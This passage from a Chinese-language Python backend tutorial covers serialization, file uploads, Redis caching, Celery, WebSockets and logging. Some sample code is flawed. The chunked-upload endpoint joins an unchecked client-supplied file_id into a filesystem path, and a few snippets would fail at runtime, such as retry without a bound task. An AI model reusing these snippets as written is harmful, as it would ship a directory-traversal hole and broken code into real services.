    author = fields.Nested(UserSchema)        # 嵌套
    tags = fields.List(fields.Str())

自定义字段与计算字段

# Pydantic —— 计算字段
from pydantic import computed_field

class ArticleOut(BaseModel):
    id: int
    title: str
    content: str
    created_at: datetime

    @computed_field
    @property
    def summary(self) -> str:
        return self.content[:100] + '...' if len(self.content) > 100 else self.content

    @computed_field
    @property
    def days_since_published(self) -> int:
        return (datetime.now() - self.created_at).days

# DRF —— SerializerMethodField
class ArticleSerializer(serializers.ModelSerializer):
    summary = serializers.SerializerMethodField()
    days_since_published = serializers.SerializerMethodField()

    class Meta:
        model = Article
        fields = ['id', 'title', 'summary', 'days_since_published']

    def get_summary(self, obj):
        return obj.content[:100] + '...' if len(obj.content) > 100 else obj.content

    def get_days_since_published(self, obj):
        return (datetime.now() - obj.created_at).days

# Marshmallow —— Function 字段
class ArticleSchema(Schema):
    summary = fields.Function(lambda obj: obj.content[:100])

部分更新(PATCH)

# Pydantic —— partial 更新
from pydantic import BaseModel
from typing import Optional

class UserUpdate(BaseModel):
    name: Optional[str] = None                # 可选字段
    email: Optional[EmailStr] = None

# FastAPI 路由
@app.patch("/api/users/{user_id}")
def update_user(user_id: int, data: UserUpdate, db: Session = Depends(get_db)):
    user = db.session.get(User, user_id)
    update_data = data.model_dump(exclude_unset=True)  # 只取有值的字段
    for key, value in update_data.items():
        setattr(user, key, value)
    db.commit()
    return UserOut.model_validate(user)

# DRF —— partial=True
serializer = UserSerializer(instance=user, data=request.data, partial=True)
serializer.is_valid(raise_exception=True)
serializer.save()

性能对比

场景Pydantic v2DRF SerializerMarshmallow
序列化 1000 条~2ms~15ms~8ms
反序列化 + 校验~3ms~20ms~10ms
嵌套 3 层~8ms~50ms~25ms

* 仅供参考,实际性能取决于数据复杂度和硬件环境

选型建议

用什么框架就用什么序列化工具——FastAPI 用 Pydantic,Django 用 DRF Serializer,Flask 用 Marshmallow。不要混用。如果追求极致性能,Pydantic v2(Rust 核心)是目前最快的。

序列化最佳实践

① 输入和输出用不同的序列化器(CreateSchema vs ResponseSchema)。② 敏感字段(密码、Token)永远不要序列化到响应中。③ 列表接口不要返回嵌套太深的数据(性能差)。④ 大量数据用 values() 或 only() 减少字段。⑤ 前端不需要的字段不要返回。

常见坑

① DRF 的 SerializerMethodField 每条记录都调用一次方法——N 条数据调用 N 次,大数据量时很慢。② Pydantic 的 from_attributes = True 比直接构造字典慢 2-3 倍。③ 循环嵌套(A 引用 B,B 引用 A)会导致无限递归——用 model_rebuild() 或排除反向引用。

42. 文件上传与静态资源

文件上传是后端的常见需求——头像、文档、图片都需要处理。本地存储适合开发,生产环境推荐 OSS 云存储。

基础上传(本地存储)

# FastAPI 文件上传
from fastapi import UploadFile, File, HTTPException
import os, uuid, shutil
from pathlib import Path

UPLOAD_DIR = Path("uploads")
UPLOAD_DIR.mkdir(exist_ok=True)

ALLOWED_TYPES = {"image/jpeg", "image/png", "image/gif", "application/pdf"}
MAX_SIZE = 10 * 1024 * 1024                    # 10MB

@app.post("/api/upload")
async def upload_file(file: UploadFile = File(...)):
    # 1. 校验文件类型
    if file.content_type not in ALLOWED_TYPES:
        raise HTTPException(400, f"不支持的文件类型: {file.content_type}")

    # 2. 读取文件内容并校验大小
    content = await file.read()
    if len(content) > MAX_SIZE:
        raise HTTPException(400, f"文件太大,最大 {MAX_SIZE // 1024 // 1024}MB")

    # 3. 生成安全的文件名(UUID 防重名 + 防目录遍历)
    ext = Path(file.filename).suffix.lower()
    filename = f"{uuid.uuid4().hex}{ext}"
    filepath = UPLOAD_DIR / filename

    # 4. 保存文件
    with open(filepath, "wb") as f:
        f.write(content)

    return {"url": f"/uploads/{filename}", "size": len(content)}

# Django 文件上传
from django.core.files.storage import default_storage
from django.core.files.base import ContentFile

def upload_view(request):
    file = request.FILES['file']
    # 校验大小
    if file.size > 10 * 1024 * 1024:
        return JsonResponse({"error": "文件太大"}, status=400)

    ext = file.name.rsplit('.', 1)[-1].lower()
    filename = f"{uuid.uuid4().hex}.{ext}"
    path = default_storage.save(f"uploads/{filename}", ContentFile(file.read()))
    return JsonResponse({"url": f"/media/{path}"})

图片处理(缩放、裁剪、压缩)

# pip install Pillow
from PIL import Image
from io import BytesIO

def process_avatar(image_bytes: bytes, size: tuple = (200, 200)) -> bytes:
    """处理头像:缩放 + 裁剪为正方形 + 压缩"""
    img = Image.open(BytesIO(image_bytes))

    # 1. 缩放(保持比例)
    img.thumbnail((size[0] * 2, size[1] * 2), Image.LANCZOS)

    # 2. 居中裁剪为正方形
    w, h = img.size
    min_dim = min(w, h)
    left = (w - min_dim) // 2
    top = (h - min_dim) // 2
    img = img.crop((left, top, left + min_dim, top + min_dim))

    # 3. 缩放到目标尺寸
    img = img.resize(size, Image.LANCZOS)

    # 4. 输出为 JPEG 并压缩
    output = BytesIO()
    img.convert('RGB').save(output, format='JPEG', quality=85, optimize=True)
    return output.getvalue()

# 生成多尺寸缩略图
def generate_thumbnails(image_bytes: bytes) -> dict:
    sizes = {"small": (100, 100), "medium": (400, 400), "large": (800, 800)}
    results = {}
    for name, size in sizes.items():
        results[name] = process_avatar(image_bytes, size)
    return results

多文件上传

# FastAPI 多文件上传
@app.post("/api/upload/batch")
async def upload_multiple(files: list[UploadFile] = File(...)):
    if len(files) > 10:
        raise HTTPException(400, "最多上传 10 个文件")

    results = []
    for file in files:
        ext = Path(file.filename).suffix.lower()
        filename = f"{uuid.uuid4().hex}{ext}"
        filepath = UPLOAD_DIR / filename
        with open(filepath, "wb") as f:
            content = await file.read()
            f.write(content)
        results.append({"original": file.filename, "url": f"/uploads/{filename}"})

    return {"uploaded": results}

# 前端配合(FormData + 多文件)
# <input type="file" multiple>
# const formData = new FormData();
# files.forEach(f => formData.append('files', f));
# fetch('/api/upload/batch', { method: 'POST', body: formData });

分片上传(大文件)

# 大文件分片上传(适合视频、大型文档)
from fastapi import UploadFile, Form
import hashlib

# 分片上传接口
@app.post("/api/upload/chunk")
async def upload_chunk(
    file: UploadFile = File(...),
    chunk_index: int = Form(...),
    total_chunks: int = Form(...),
    file_id: str = Form(...),                  # 前端生成的唯一文件标识
):
    chunk_dir = UPLOAD_DIR / "chunks" / file_id
    chunk_dir.mkdir(parents=True, exist_ok=True)

    # 保存分片
    chunk_path = chunk_dir / f"{chunk_index:06d}"
    with open(chunk_path, "wb") as f:
        f.write(await file.read())

    # 检查是否所有分片都上传完成
    uploaded = len(list(chunk_dir.iterdir()))
    if uploaded == total_chunks:
        # 合并分片
        final_filename = f"{uuid.uuid4().hex}{Path(file.filename).suffix}"
        final_path = UPLOAD_DIR / final_filename
        with open(final_path, "wb") as outfile:
            for i in range(total_chunks):
                chunk_path = chunk_dir / f"{i:06d}"
                outfile.write(chunk_path.read_bytes())
                chunk_path.unlink()            # 删除分片
        chunk_dir.rmdir()
        return {"status": "complete", "url": f"/uploads/{final_filename}"}

    return {"status": "uploading", "progress": f"{uploaded}/{total_chunks}"}

云存储(阿里云 OSS)

# 云存储(阿里云 OSS)
import oss2

auth = oss2.Auth('AccessKeyId', 'AccessKeySecret')
bucket = oss2.Bucket(auth, 'https://oss-cn-beijing.aliyuncs.com', 'my-bucket')

def upload_to_oss(file, filename: str) -> str:
    bucket.put_object(filename, file)
    return f"https://my-bucket.oss-cn-beijing.aliyuncs.com/{filename}"

# 生成临时上传 URL(Presigned URL)—— 前端直传 OSS
def generate_presigned_url(filename: str, expires: int = 3600) -> str:
    """生成临时上传 URL,前端直接上传到 OSS,不经过后端"""
    url = bucket.sign_url('PUT', filename, expires)
    return url

# 使用流程:
# 1. 前端请求后端获取 presigned URL
# 2. 前端用 PUT 请求直接上传文件到 OSS
# 3. 前端通知后端上传完成,后端保存文件 URL
# 优势:大文件不经过后端服务器,节省带宽
CDN 加速

把静态资源(图片、CSS、JS)放到 CDN 上,用户从最近的节点加载,速度提升 10 倍以上。阿里云 OSS + CDN 是最常见的组合。配置步骤:① OSS 开启 CDN 加速域名。② DNS 解析 CNAME 到 CDN。③ 设置缓存规则(静态资源缓存 30 天)。④ 开启 HTTPS。

文件上传安全

① 校验文件类型(不要只看扩展名,用 python-magic 检查真实 MIME)。② 限制文件大小(MAX_CONTENT_LENGTH)。③ 用 UUID 重命名(防目录遍历和文件名注入)。④ 不要把上传目录放在 Web 可访问的路径下。⑤ 图片上传后重新编码(防止在 EXIF 中嵌入恶意代码)。⑥ 扫描病毒(ClamAV)。

静态资源最佳实践

① 静态资源用 Nginx 直接服务(比 Python 快 100 倍)。② 开启 Gzip/Brotli 压缩。③ 设置 Cache-Control 和 ETag。④ 文件名带哈希(app.a1b2c3.js),更新时哈希变化,自动失效缓存。⑤ 图片用 WebP 格式(比 JPEG 小 25-35%)。

43. 缓存策略

缓存是性能优化的第一道防线——把热点数据存在内存中,避免每次请求都查数据库。

三大缓存问题

缓存穿透
查询不存在的数据——缓存没有,数据库也没有,每次都穿透。解决:缓存空值(设短过期时间)或布隆过滤器。
缓存击穿
热点 key 突然过期——大量请求同时查数据库。解决:互斥锁(只让一个请求查 DB,其他等待)或永不过期 + 后台异步更新。
缓存雪崩
大量 key 同时过期——数据库瞬间压力暴增。解决:过期时间加随机偏移量,避免同时失效。
import redis
import json

r = redis.Redis()

def get_user(user_id: int):
    cache_key = f"user:{user_id}"

    # 1. 先查缓存
    cached = r.get(cache_key)
    if cached:
        return json.loads(cached)

    # 2. 缓存没有,查数据库
    user = db.session.get(User, user_id)
    if user:
        # 3. 写入缓存(过期时间 + 随机偏移)
        import random
        ttl = 3600 + random.randint(0, 300)     # 60-65 分钟
        r.setex(cache_key, ttl, json.dumps(user.to_dict()))
    else:
        # 4. 缓存空值(防穿透)
        r.setex(cache_key, 60, json.dumps(None))

    return user

# ===== 布隆过滤器(防穿透的高级方案)=====
# pip install pybloom_live
from pybloom_live import BloomFilter

# 初始化布隆过滤器(预计 100 万个元素,误判率 1%)
bloom = BloomFilter(capacity=1000000, error_rate=0.01)

def init_bloom_filter():
    """应用启动时,将所有有效 ID 加入布隆过滤器"""
    all_ids = db.query(User.id).all()
    for (user_id,) in all_ids:
        bloom.add(user_id)

def get_user_with_bloom(user_id: int):
    # 1. 先查布隆过滤器
    if user_id not in bloom:
        return None  # 一定不存在,直接返回

    # 2. 查缓存
    cached = redis.get(f"user:{user_id}")
    if cached:
        return json.loads(cached)

    # 3. 查数据库
    user = db.session.get(User, user_id)
    if user:
        redis.setex(f"user:{user_id}", 3600, json.dumps(user.to_dict()))
    return user

# ===== 互斥锁防击穿 =====
import time

def get_user_with_mutex(user_id: int, max_retries: int = 30):
    cache_key = f"user:{user_id}"
    lock_key = f"lock:{cache_key}"

    # 1. 查缓存
    cached = redis.get(cache_key)
    if cached:
        return json.loads(cached)

    # 2. 尝试获取锁(循环重试,避免递归爆栈)
    for attempt in range(max_retries):
        if redis.set(lock_key, "1", nx=True, ex=10):  # 锁 10 秒过期
            try:
                # 3. 获得锁,查数据库
                user = db.session.get(User, user_id)
                if user:
                    redis.setex(cache_key, 3600, json.dumps(user.to_dict()))
                else:
                    redis.setex(cache_key, 60, json.dumps(None))
                return user
            finally:
                # 4. 释放锁
                redis.delete(lock_key)
        else:
            # 5. 未获得锁,等待后重试
            time.sleep(0.1)

    # 重试耗尽,兜底查数据库
    return db.session.get(User, user_id)

本地缓存(LRU)

# 本地缓存——进程内缓存,零网络开销
from functools import lru_cache
import time

# 方式1:Python 内置 lru_cache(适合纯函数)
@lru_cache(maxsize=1000)
def get_config(key: str) -> str:
    """配置项不会频繁变化,适合本地缓存"""
    return db.query(Config).filter(Config.key == key).first().value

# 方式2:带过期时间的本地缓存
from cachetools import TTLCache

local_cache = TTLCache(maxsize=1000, ttl=300)   # 最多 1000 条,5 分钟过期

def get_user_local(user_id: int):
    if user_id in local_cache:
        return local_cache[user_id]
    user = db.session.get(User, user_id)
    if user:
        local_cache[user_id] = user.to_dict()
    return user

# 方式3:多级缓存架构
# L1: 本地缓存(进程内,微秒级)
# L2: Redis 缓存(网络,毫秒级)
# L3: 数据库(磁盘,十毫秒级)

def get_user_multi_level(user_id: int):
    # L1: 查本地缓存
    if user_id in local_cache:
        return local_cache[user_id]

    # L2: 查 Redis
    cached = redis.get(f"user:{user_id}")
    if cached:
        data = json.loads(cached)
        local_cache[user_id] = data              # 回填 L1
        return data

    # L3: 查数据库
    user = db.session.get(User, user_id)
    if user:
        data = user.to_dict()
        redis.setex(f"user:{user_id}", 3600, json.dumps(data))  # 写入 L2
        local_cache[user_id] = data              # 写入 L1
        return data
    return None

缓存失效策略

# 策略1:TTL 过期(最简单)
redis.setex("user:123", 3600, json.dumps(user_data))  # 1 小时后自动过期

# 策略2:主动删除(写时删除)
def update_user(user_id: int, data: dict):
    # 1. 更新数据库
    db.query(User).filter(User.id == user_id).update(data)
    db.commit()
    # 2. 删除缓存(而不是更新缓存!)
    redis.delete(f"user:{user_id}")
    # 为什么要删除而不是更新?
    # 因为并发时,更新缓存和更新数据库的顺序可能不一致

# 策略3:延迟双删(解决并发一致性问题)
import asyncio

async def update_user_double_delete(user_id: int, data: dict):
    redis.delete(f"user:{user_id}")              # 第一次删除
    db.query(User).filter(User.id == user_id).update(data)
    db.commit()
    await asyncio.sleep(0.5)                     # 延迟 500ms
    redis.delete(f"user:{user_id}")              # 第二次删除

# 策略4:基于消息的缓存更新
# 数据库变更 → 发消息 → 消费者更新/删除缓存
# 适用于分布式系统,多个服务共享缓存

缓存预热

# 系统启动时预加载热点数据到缓存
def warm_up_cache():
    """应用启动时执行"""
    # 1. 预热热门文章
    hot_articles = db.query(Article).order_by(Article.views.desc()).limit(100).all()
    for article in hot_articles:
        redis.setex(f"article:{article.id}", 7200, json.dumps(article.to_dict()))

    # 2. 预热配置项
    configs = db.query(Config).all()
    for config in configs:
        redis.setex(f"config:{config.key}", 86400, config.value)

    # 3. 预热分类数据(变化频率低)
    categories = db.query(Category).all()
    redis.setex("categories:all", 86400, json.dumps([c.to_dict() for c in categories]))

    print(f"缓存预热完成:{len(hot_articles)} 篇文章,{len(configs)} 个配置")

# 在 FastAPI 启动事件中调用(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup")  # 注意:FastAPI 已弃用,建议改用 lifespan
async def startup():
    warm_up_cache()

缓存装饰器(通用方案)

# 通用缓存装饰器
import functools
import hashlib

def cached(prefix: str, ttl: int = 3600, key_func=None):
    """缓存装饰器,自动缓存函数结果(含防击穿保护)"""
    import asyncio
    _locks = {}  # 按 key 分锁,防止并发击穿

    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            # 生成缓存 key
            if key_func:
                cache_key = f"{prefix}:{key_func(*args, **kwargs)}"
            else:
                import json
                key_data = json.dumps({"args": args, "kwargs": kwargs}, sort_keys=True, default=str)
                cache_key = f"{prefix}:{hashlib.md5(key_data.encode()).hexdigest()}"

            # 查缓存
            cached_result = redis.get(cache_key)
            if cached_result:
                return json.loads(cached_result)

            # 防击穿:同一 key 只允许一个请求查数据库
            if cache_key not in _locks:
                _locks[cache_key] = asyncio.Lock()
            async with _locks[cache_key]:
                # 双重检查(其他协程可能已经填充了缓存)
                cached_result = redis.get(cache_key)
                if cached_result:
                    return json.loads(cached_result)

                # 执行函数
                result = await func(*args, **kwargs)

                # 写缓存
                if result is not None:
                    redis.setex(cache_key, ttl, json.dumps(result, default=str))
                return result
        return wrapper
    return decorator

# 使用
@cached(prefix="user", ttl=3600, key_func=lambda user_id: user_id)
async def get_user(user_id: int):
    return await db.session.get(User, user_id).to_dict()

@cached(prefix="articles", ttl=1800, key_func=lambda page, size: f"{page}:{size}")
async def get_article_list(page: int = 1, size: int = 20):
    return await db.query(Article).offset((page-1)*size).limit(size).all()
缓存更新策略

Cache-Aside(旁路缓存):读时先查缓存,没有则查 DB 并写缓存。写时先更新 DB,再删缓存。这是最常用的策略。Write-Through:写时同时更新缓存和 DB。数据一致性强但性能稍差。Write-Behind:写时只更新缓存,异步批量写入 DB。性能最好但有数据丢失风险。大多数场景用 Cache-Aside 就够了。

缓存监控

监控 Redis 的命中率:redis-cli info stats | grep keyspace。命中率低于 80% 说明缓存策略有问题。监控内存使用:redis-cli info memory。设置 maxmemory-policy:① allkeys-lru:淘汰最近最少使用的 key(推荐)。② volatile-lru:只淘汰有过期时间的 key。③ noeviction:内存满了直接报错。

缓存设计原则

① 热点数据才缓存(80% 的请求集中在 20% 的数据上)。② 缓存粒度要合适(单条 vs 列表 vs 聚合)。③ 设置合理的过期时间(太短=缓存命中率低,太长=数据不一致)。④ 缓存 key 要有命名规范(业务:类型:ID,如 user:profile:123)。⑤ 做好缓存降级(Redis 挂了直接查 DB,不能让整个系统不可用)。

44. 任务队列 Celery

有些操作不适合在请求中同步执行(发邮件、生成报表、调用第三方 API)——它们太慢了。Celery 把这些任务放到后台异步执行。

# 安装:pip install celery redis
# celery_app.py
from celery import Celery

celery = Celery('myapp', broker='redis://localhost:6379/1')

# 定义异步任务
@celery.task(bind=True, max_retries=3)
def send_email(self, to: str, subject: str, body: str):
    try:
        import smtplib
        # 发送邮件逻辑...
        print(f"邮件已发送到 {to}")
    except Exception as exc:
        raise self.retry(exc=exc, countdown=60)    # 60秒后重试

# 调用任务(异步)
send_email.delay("user@example.com", "欢迎", "你好")
send_email.apply_async(args=[...], countdown=300)  # 5分钟后执行

# 定时任务(Celery Beat)
celery.conf.beat_schedule = {
    'cleanup-every-hour': {
        'task': 'tasks.cleanup_expired',
        'schedule': 3600.0,                        # 每小时执行一次
    },
}

# 启动 Worker:celery -A celery_app worker -l info
# 启动 Beat:celery -A celery_app beat -l info
# 监控面板:pip install flower; celery -A celery_app flower

任务路由与队列

# 不同类型的任务用不同的队列
celery.conf.task_routes = {
    'tasks.send_email': {'queue': 'email'},      # 邮件任务走 email 队列
    'tasks.generate_report': {'queue': 'heavy'},  # 重任务走 heavy 队列
    'tasks.*': {'queue': 'default'},              # 其他走默认队列
}

# 启动 Worker 时指定队列
# celery -A celery_app worker -Q email,default -l info
# celery -A celery_app worker -Q heavy -c 1 -l info   # 重任务只开 1 个并发

# 任务优先级
@celery.task(queue='email', priority=9)           # 优先级 0-10,10 最高
def send_urgent_email(to: str, subject: str):
    pass

结果后端与任务状态

# 配置结果后端(存储任务执行结果)
celery = Celery('myapp', broker='redis://localhost:6379/1',
                backend='redis://localhost:6379/2')

# 查看任务状态
from celery.result import AsyncResult

result = send_email.delay("user@test.com", "欢迎", "你好")
print(result.id)                  # 任务 ID
print(result.status)              # PENDING / STARTED / SUCCESS / FAILURE
print(result.result)              # 任务返回值
print(result.get(timeout=10))     # 阻塞等待结果

# 任务进度回调
@celery.task(bind=True)
def generate_report(self, report_id: int):
    total = 100
    for i in range(total):
        # 处理数据...
        self.update_state(state='PROGRESS', meta={'current': i, 'total': total})
    return {'report_id': report_id, 'status': 'done'}

# 前端轮询任务进度
# GET /api/tasks/{task_id} → 返回 {status: "PROGRESS", current: 50, total: 100}

错误处理与死信队列

# 自定义错误处理
from celery import Task

class CallbackTask(Task):
    """任务基类,自动处理失败回调"""
    def on_failure(self, exc, task_id, args, kwargs, einfo):
        # 任务失败时执行
        print(f"任务 {task_id} 失败: {exc}")
        # 记录到数据库
        FailedTaskLog.create(task_id=task_id, error=str(exc), args=str(args))

    def on_success(self, retval, task_id, args, kwargs):
        # 任务成功时执行
        print(f"任务 {task_id} 成功")

@celery.task(base=CallbackTask, max_retries=3, acks_late=True)
def risky_task(data: dict):
    try:
        process(data)
    except ConnectionError as exc:
        # 指数退避重试:60s, 120s, 240s
        raise self.retry(exc=exc, countdown=60 * (2 ** self.request.retries))

# 死信队列(处理反复失败的任务)
# RabbitMQ 原生支持 DLX(Dead Letter Exchange)
# Redis 可以用自定义方案:重试 3 次后写入 "dead_letter" 队列

Celery Beat 定时任务详解

# celery_app.py
from celery.schedules import crontab

celery.conf.beat_schedule = {
    # 每天凌晨 2 点清理过期数据
    'cleanup-expired': {
        'task': 'tasks.cleanup_expired',
        'schedule': crontab(hour=2, minute=0),
        'args': (),                              # 任务参数
    },
    # 每小时同步一次库存
    'sync-inventory': {
        'task': 'tasks.sync_inventory',
        'schedule': 3600.0,
    },
    # 每周一早上 9 点发送周报
    'weekly-report': {
        'task': 'tasks.send_weekly_report',
        'schedule': crontab(hour=9, minute=0, day_of_week=1),
    },
    # 每 5 分钟检查一次支付超时
    'check-payment-timeout': {
        'task': 'tasks.check_payment_timeout',
        'schedule': 300.0,
    },
}

# 启动 Beat:celery -A celery_app beat -l info
# 生产环境用 django-celery-beat(Django Admin 管理定时任务)
Celery 适用场景

① 发送邮件/短信(耗时 1-5 秒)。② 生成 PDF/Excel 报表(耗时 10-60 秒)。③ 调用第三方 API(网络不稳定)。④ 数据同步/ETL(耗时分钟级)。⑤ 定时任务(每日凌晨清理数据)。⑥ 视频/图片处理(耗时 CPU 密集型)。

任务失败处理

设置 max_retries=3 限制重试次数。用 countdown=60 设置重试间隔(指数退避)。记录失败任务到数据库,方便排查。Celery 的 acks_late=True 确保任务不会因 Worker 崩溃而丢失。生产环境用 Flower 监控任务状态:celery -A celery_app flower。

Celery 生产调优

① Worker 数量 = CPU 核心数 × 2 + 1(I/O 密集型可更多)。② 用 -c 4 控制并发数。③ 设置 task_time_limit=300(单任务最长 5 分钟)。④ 设置 task_soft_time_limit=250(软超时抛异常,可清理资源)。⑤ 用 --max-tasks-per-child=1000 防止内存泄漏。⑥ Redis broker 设置 broker_pool_limit=10 控制连接池。

45. WebSocket 实时通信

HTTP 是"请求-响应"模式——客户端不问,服务器不说。WebSocket 让服务器可以主动推送消息给客户端(聊天、通知、实时数据)。

# FastAPI WebSocket
from fastapi import FastAPI, WebSocket, WebSocketDisconnect

app = FastAPI()
clients = set()

@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    clients.add(websocket)
    try:
        while True:
            data = await websocket.receive_text()
            # 广播给所有连接的客户端
            for client in clients:
                await client.send_text(f"收到: {data}")
    except WebSocketDisconnect:
        clients.remove(websocket)

Django Channels + Redis

# 安装:pip install channels channels-redis
# settings.py
ASGI_APPLICATION = 'myproject.asgi.application'
CHANNEL_LAYERS = {
    'default': {
        'BACKEND': 'channels_redis.core.RedisChannelLayer',
        'CONFIG': {'hosts': [('localhost', 6379)]},
    },
}

# consumers.py
from channels.generic.websocket import AsyncWebsocketConsumer

class ChatConsumer(AsyncWebsocketConsumer):
    async def connect(self):
        self.room_name = self.scope['url_route']['kwargs']['room_name']
        await self.channel_layer.group_add(self.room_name, self.channel_name)
        await self.accept()

    async def receive(self, text_data):
        await self.channel_layer.group_send(
            self.room_name,
            {'type': 'chat_message', 'message': text_data}
        )

    async def chat_message(self, event):
        await self.send(text_data=event['message'])
WebSocket 适用场景

① 聊天室/即时通讯。② 实时通知(订单状态变更)。③ 实时数据看板(股票行情)。④ 协同编辑(多人同时编辑文档)。⑤ 在线游戏。

WebSocket 认证

# WebSocket 认证——连接时验证 Token
from fastapi import WebSocket, WebSocketDisconnect
from jose import jwt

async def get_ws_user(websocket: WebSocket):
    """从 WebSocket 连接中获取用户"""
    token = websocket.query_params.get("token")
    if not token:
        # 也支持从 Header 获取
        auth = websocket.headers.get("Authorization", "")
        token = auth.replace("Bearer ", "") if auth else None

    if not token:
        await websocket.close(code=4001, reason="未提供 Token")
        return None

    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload["sub"]
    except Exception:
        await websocket.close(code=4002, reason="Token 无效")
        return None

@app.websocket("/ws/chat")
async def chat_ws(websocket: WebSocket):
    user_id = await get_ws_user(websocket)
    if not user_id:
        return

    await websocket.accept()
    # 加入用户专属频道
    await channel_layer.group_add(f"user:{user_id}", websocket)
    try:
        while True:
            data = await websocket.receive_json()
            await handle_message(user_id, data)
    except WebSocketDisconnect:
        await channel_layer.group_discard(f"user:{user_id}", websocket)

心跳检测(Ping/Pong)

# 心跳——检测连接是否存活
import asyncio

@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()

    async def heartbeat():
        """每 30 秒发送 ping"""
        while True:
            try:
                await asyncio.sleep(30)
                await websocket.send_json({"type": "ping"})
            except Exception:
                break

    # 启动心跳任务
    heartbeat_task = asyncio.create_task(heartbeat())

    try:
        while True:
            data = await websocket.receive_json()
            if data.get("type") == "pong":
                continue                           # 心跳响应,忽略
            await process_message(data)
    except WebSocketDisconnect:
        heartbeat_task.cancel()

# 前端配合
# ws.onmessage = (e) => {
#     const data = JSON.parse(e.data);
#     if (data.type === 'ping') {
#         ws.send(JSON.stringify({ type: 'pong' }));
#     }
# };

房间管理(Chat Rooms)

# 多房间聊天室
from collections import defaultdict

rooms: dict[str, set[WebSocket]] = defaultdict(set)

@app.websocket("/ws/room/{room_id}")
async def room_ws(websocket: WebSocket, room_id: str):
    await websocket.accept()
    rooms[room_id].add(websocket)

    # 通知房间内其他人
    await broadcast(room_id, {"type": "system", "message": "新用户加入"})

    try:
        while True:
            data = await websocket.receive_text()
            await broadcast(room_id, {"type": "message", "content": data})
    except WebSocketDisconnect:
        rooms[room_id].discard(websocket)
        await broadcast(room_id, {"type": "system", "message": "用户离开"})

async def broadcast(room_id: str, message: dict):
    """广播消息到房间内所有客户端"""
    for client in rooms[room_id]:
        try:
            await client.send_json(message)
        except Exception:
            rooms[room_id].discard(client)
WebSocket 适用场景

① 聊天室/即时通讯。② 实时通知(订单状态变更)。③ 实时数据看板(股票行情)。④ 协同编辑(多人同时编辑文档)。⑤ 在线游戏。⑥ 实时日志流。

百万级长连接方案

单台服务器 WebSocket 连接数上限约 10 万(受限于内存和文件描述符)。百万级需要:① 多台 WebSocket 服务器 + Nginx 负载均衡。② Redis Pub/Sub 做跨服务器消息广播。③ 心跳检测清理死连接。④ 连接数监控和告警。

WebSocket 最佳实践

① 连接时认证(Token 验证)。② 心跳检测(30 秒 ping/pong)。③ 断线重连(前端指数退避重连)。④ 消息协议(JSON 格式,带 type 字段)。⑤ 房间管理(按频道分组)。⑥ 消息持久化(重要消息存数据库)。

46. 日志系统

print() 不是日志系统。生产环境需要结构化日志——记录时间、级别、请求ID、用户ID,方便排查问题。

基础配置

import logging
from logging.handlers import RotatingFileHandler

# 配置日志
def setup_logging():
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)

    # 格式:时间 [级别] 模块名: 消息
    formatter = logging.Formatter(
        '%(asctime)s [%(levelname)s] %(name)s:%(lineno)d - %(message)s',
        datefmt='%Y-%m-%d %H:%M:%S'
    )

    # 控制台输出
    console = logging.StreamHandler()
    console.setFormatter(formatter)
    logger.addHandler(console)

    # 文件输出(带日志轮转)
    file_handler = RotatingFileHandler(
        'logs/app.log',
        maxBytes=10 * 1024 * 1024,              # 单个文件最大 10MB
        backupCount=5,                           # 保留 5 个备份
        encoding='utf-8'
    )
    file_handler.setFormatter(formatter)
    logger.addHandler(file_handler)

    # ERROR 单独输出到文件
    error_handler = RotatingFileHandler(
        'logs/error.log',
        maxBytes=10 * 1024 * 1024,
        backupCount=10,
        encoding='utf-8'
    )
    error_handler.setLevel(logging.ERROR)
    error_handler.setFormatter(formatter)
    logger.addHandler(error_handler)

# 使用
logger = logging.getLogger(__name__)
logger.info("用户登录成功", extra={"user_id": 123})
logger.error("数据库连接失败", exc_info=True)

日志级别

DEBUG
调试信息——开发时用,生产环境关闭。变量值、函数调用参数。
INFO
正常操作——用户登录、接口调用、任务完成。生产环境默认级别。
WARNING
警告——接口慢、缓存未命中、重试次数。需要关注但不影响服务。
ERROR
错误——数据库异常、第三方 API 失败。需要立即排查。
CRITICAL
严重错误——系统崩溃、数据损坏。需要立即处理。

结构化 JSON 日志

# pip install python-json-logger
import logging
from pythonjsonlogger import jsonlogger

# JSON 格式日志(方便 ELK 解析)
def setup_json_logging():
    logger = logging.getLogger()
    handler = logging.FileHandler('logs/app.json.log')

    formatter = jsonlogger.JsonFormatter(
        fmt='%(asctime)s %(levelname)s %(name)s %(message)s',
        rename_fields={'asctime': 'timestamp', 'levelname': 'level'}
    )
    handler.setFormatter(formatter)
    logger.addHandler(handler)

# 输出示例:
# {"timestamp": "2024-06-26 10:30:00", "level": "INFO", "name": "app.auth",
#  "message": "用户登录成功", "user_id": 123, "ip": "192.168.1.100"}

请求链路追踪(Request ID)

# 每个请求分配唯一 ID,贯穿整个调用链
import uuid
import contextvars

# 请求上下文变量
request_id_var = contextvars.ContextVar('request_id', default='')

# FastAPI 中间件——自动注入 Request ID
from starlette.middleware.base import BaseHTTPMiddleware

class RequestIDMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        rid = request.headers.get('X-Request-ID', uuid.uuid4().hex[:12])
        request_id_var.set(rid)

        response = await call_next(request)
        response.headers['X-Request-ID'] = rid
        return response

app.add_middleware(RequestIDMiddleware)

# 自定义日志过滤器——自动注入 Request ID
class RequestIDFilter(logging.Filter):
    def filter(self, record):
        record.request_id = request_id_var.get('')
        return True

# 日志格式加上 request_id
formatter = logging.Formatter(
    '%(asctime)s [%(levelname)s] [%(request_id)s] %(name)s: %(message)s'
)
logger.addFilter(RequestIDFilter())

# 输出:2024-06-26 10:30:00 [INFO] [a1b2c3d4e5f6] app.auth: 用户登录成功

按模块控制日志级别

# 不同模块不同日志级别
logging.getLogger('app.auth').setLevel(logging.INFO)       # 认证模块 INFO
logging.getLogger('app.db').setLevel(logging.WARNING)      # 数据库模块 WARNING
logging.getLogger('sqlalchemy.engine').setLevel(logging.WARNING)  # SQL 日志
logging.getLogger('urllib3').setLevel(logging.WARNING)     # HTTP 客户端

# 开发环境打印 SQL 语句
logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
# 输出:INFO sqlalchemy.engine: SELECT users.id, users.name FROM users WHERE users.id = 1

FastAPI/Django 日志集成

